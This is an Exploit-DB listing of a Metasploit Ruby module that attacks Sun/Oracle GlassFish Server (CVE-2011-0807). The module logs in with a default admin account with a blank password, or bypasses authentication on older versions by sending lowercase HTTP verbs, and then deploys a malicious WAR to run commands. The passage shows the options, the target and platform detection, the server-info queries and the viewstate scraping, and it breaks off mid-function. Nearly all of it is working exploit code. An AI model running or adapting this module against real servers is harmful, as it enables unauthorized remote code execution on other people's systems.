Exploit-DB #17615
Description: Sun/Oracle GlassFish Server - (Authenticated) Code Execution (Metasploit)
Type: webapps
Platform: jsp
Date: 2011-08-05
Author: Metasploit

Exploit:
##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
			'Description'    => %q{
					This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) 
				instance using a default credential, uploads, and executes commands via deploying
				a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
				this module will try to bypass authentication instead by sending lowercase HTTP verbs.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13485 $",
			'Author'         =>
				[
					#Msf module for Glassfish 3.0
					'juan vazquez',
					#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
					'Joshua Abraham <jabra[at]rapid7.com>',
					#Rewrite for 3.0, 3.1 (Commercial or Open Source)
					'sinn3r',
				],
			'References'     =>
				[
					['CVE', '2011-0807'],
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[
						'Java Universal',
						{
							'Arch'     => ARCH_JAVA,
							'Platform' => 'java',
						},
					],
					#
					# platform specific targets only
					#
					[
						'Windows Universal',
						{
							'Arch'     => ARCH_X86,
							'Platform' => 'win',
						},
					],
					#
					# platform specific targets only
					#
					[
						'Linux Universal',
						{
							'Arch'     => ARCH_X86,
							'Platform' => 'linux',
						},
					],
				],
			'DisclosureDate' => "Aug 4 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(4848),
					OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
					OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
					OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
					OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
				], self.class)
	end

	#
	# Send GET or POST request, and return the response
	#
	def send_request(path, method, session='', data=nil, ctype=nil)

		headers = {}
		headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
		headers['Content-Type'] = ctype if ctype != nil
		headers['Content-Length'] = data.length if data != nil

		res = send_request_raw({
			'uri'     => path,
			'method'  => method,
			'data'    => data,
			'headers' => headers,
		}, 90)

		#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
		return res
	end

	#
	# Return target
	#
	def auto_target(session, res, version)
		print_status("Attempting to automatically select a target...")

		res = query_serverinfo(session,version)
		return nil if not res
		return nil if not res.body

		plat = detect_platform(res.body)
		arch = detect_arch(res.body)
		
		# No arch or platform found?
		return nil if (not arch or not plat)

		# see if we have a match
		targets.each do |t|
			return t if (t['Platform'] == plat) and (t['Arch'] == arch)
		end

		# no matching target found
		return nil
	end

	#
	# Return platform (win, linux, or osx)
	#
	def detect_platform(body)
		body.each_line do |ln|
			ln.chomp!
			case ln
			when /os\.name = (.*)/
				os = $1
				case os
				when /Windows/
					return 'win'
				when /Linux/
					return 'linux'
				when /Mac OS X/
					return 'osx'
				end
			end
		end

		return 'java'
	end

	#
	# Return ARCH
	#
	def detect_arch(body)
		body.each_line do |ln|
			ln.chomp!
			case ln
			when /os\.arch = (.*)/
				ar = $1
				case ar
				when 'x86', 'i386', 'i686'
					return ARCH_X86
				when 'x86_64', 'amd64'
					return ARCH_X86
				end
			end
		end
	end

	#
	# Return server information
	#
	def query_serverinfo(session,version)
		res = ''

		if version == '2.x' or version == '9.x'
			path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
			res = send_request(path, @verbs['GET'], session)
		else
			path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
			res = send_request(path, @verbs['GET'], session)

			if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
				path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
				res = send_request(path, @verbs['GET'], session)
			end
		end

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		return res
	end

	#
	# Return viewstate and entry before deleting a GlassFish application
	#
	def get_delete_info(session, version, app='')
		if version == '2.x' or version == '9.x'
			path = '/applications/webApplications.jsf'
			res = send_request(path, @verbs['GET'], session)

			if (not res) or (res.code != 200)
				print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
				return nil
			end

			input_id = "javax.faces.ViewState"
			p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
			viewstate = res.body.scan(p)[0][0]

			entry = nil
			p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
			results = res.body.scan(p)

			results.each do |hit|
				if hit[1] =~ /^#{app}/
					entry = hit[0]
					entry << "col0:select"
				end
			end

		else
			path = '/common/applications/applications.jsf?bare=true'
			res = send_reques